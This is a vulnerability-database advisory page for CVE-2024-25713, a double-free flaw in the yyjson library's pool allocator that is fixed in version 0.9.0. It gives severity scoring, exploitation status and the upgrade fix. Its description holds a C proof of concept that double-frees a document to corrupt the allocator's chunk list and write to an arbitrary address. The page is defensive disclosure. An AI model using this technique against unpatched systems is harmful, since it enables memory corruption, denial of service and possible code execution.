VulnerabilityPublished 29 Feb 2024Updated 5 Nov 2025

CVE-2024-25713: github.com/ibireme/yyjson · yyjson has a Double Free vulnerability

Affects github.com/ibireme/yyjsonSource GCVE Database

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Authoritative record:CVE-2024-25713· High 8.6

Not known to be exploited · CVSS 8.6 High : upgrade to 0.9.0 soon.

Data as of 4 Nov 2026, 17:16 UTC

CVSS 3.1 base score

8.6High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 0.9.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: Low
Integrity: High
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 11 Feb 2024
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 4 Nov 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/ibireme/yyjson to 0.9.0.

Affected software

Product	Affected	Fixed in
SwiftURLgithub.com/ibireme/yyjson	Affected <0.9.0	Fixed in 0.9.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution. ### Details The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities. ### PoC Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack. ``` #include <stdio.h> #include "yyjson.h" char test[0x110]; int64_t a=0xffffffff; int64_t b= (int64_t) test; int main() { size_t max_json_size = 64 * 1024; size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0); void *buf = malloc(buf_size); yyjson_alc alc; yyjson_alc_pool_init(&alc, buf, buf_size); yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc); yyjson_mut_arr(p2); yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc); yyjson_mut_doc_free(p2); yyjson_mut_doc_free(p2); // double free yyjson_mut_doc_free(p1); yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN; for(int i=0;i<0x100;i++)test[i]= 'a'; test[0x100]='\00'; char *payload_f = "[%lld,43981]"; char payload[100]; sprintf(payload,payload_f,&a); yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL); yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc); yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc); for(int z=1;z<=100;z++) yyjson_mut_int(p8,0x63636363); printf("%s",test); free(buf); return 0; } ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ ## Note from yyjson yyjson_mut_doc_free() is well-documented: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093 ``` /** Release the JSON document and free the memory. After calling this function, the `doc` and all values from the `doc` are no longer available. This function will do nothing if the `doc` is NULL. */ void yyjson_mut_doc_free(yyjson_doc *doc); ``` If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid. Any further operation on the doc or its values is undefined behavior. While this is not a bug in yyjson itself, a defensive patch has been provided: [0eca326](https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e) If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation, this patch will cause your program to crash immediately, alerting you to the incorrect usage.

CWE-94Improper Control of Generation of Code (Code Injection) (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #10OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Architecture and Design · Refactoring
Refactor your program so that you do not have to dynamically generate code.
Architecture and Design
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
Cross Site Scripting Prevention (opens in a new tab)
DOM based XSS Prevention (opens in a new tab)
Abuse Case (opens in a new tab)
OWASP ASVS 4.0.3
V5.2.8 (opens in a new tab)
V5.2.5 (opens in a new tab)
V1.5.1 (opens in a new tab)
Attack patterns
Leverage Executable Code in Non-Executable Files (opens in a new tab)
Manipulating User-Controlled Variables (opens in a new tab)
Code Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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WeaknessesCWE-94

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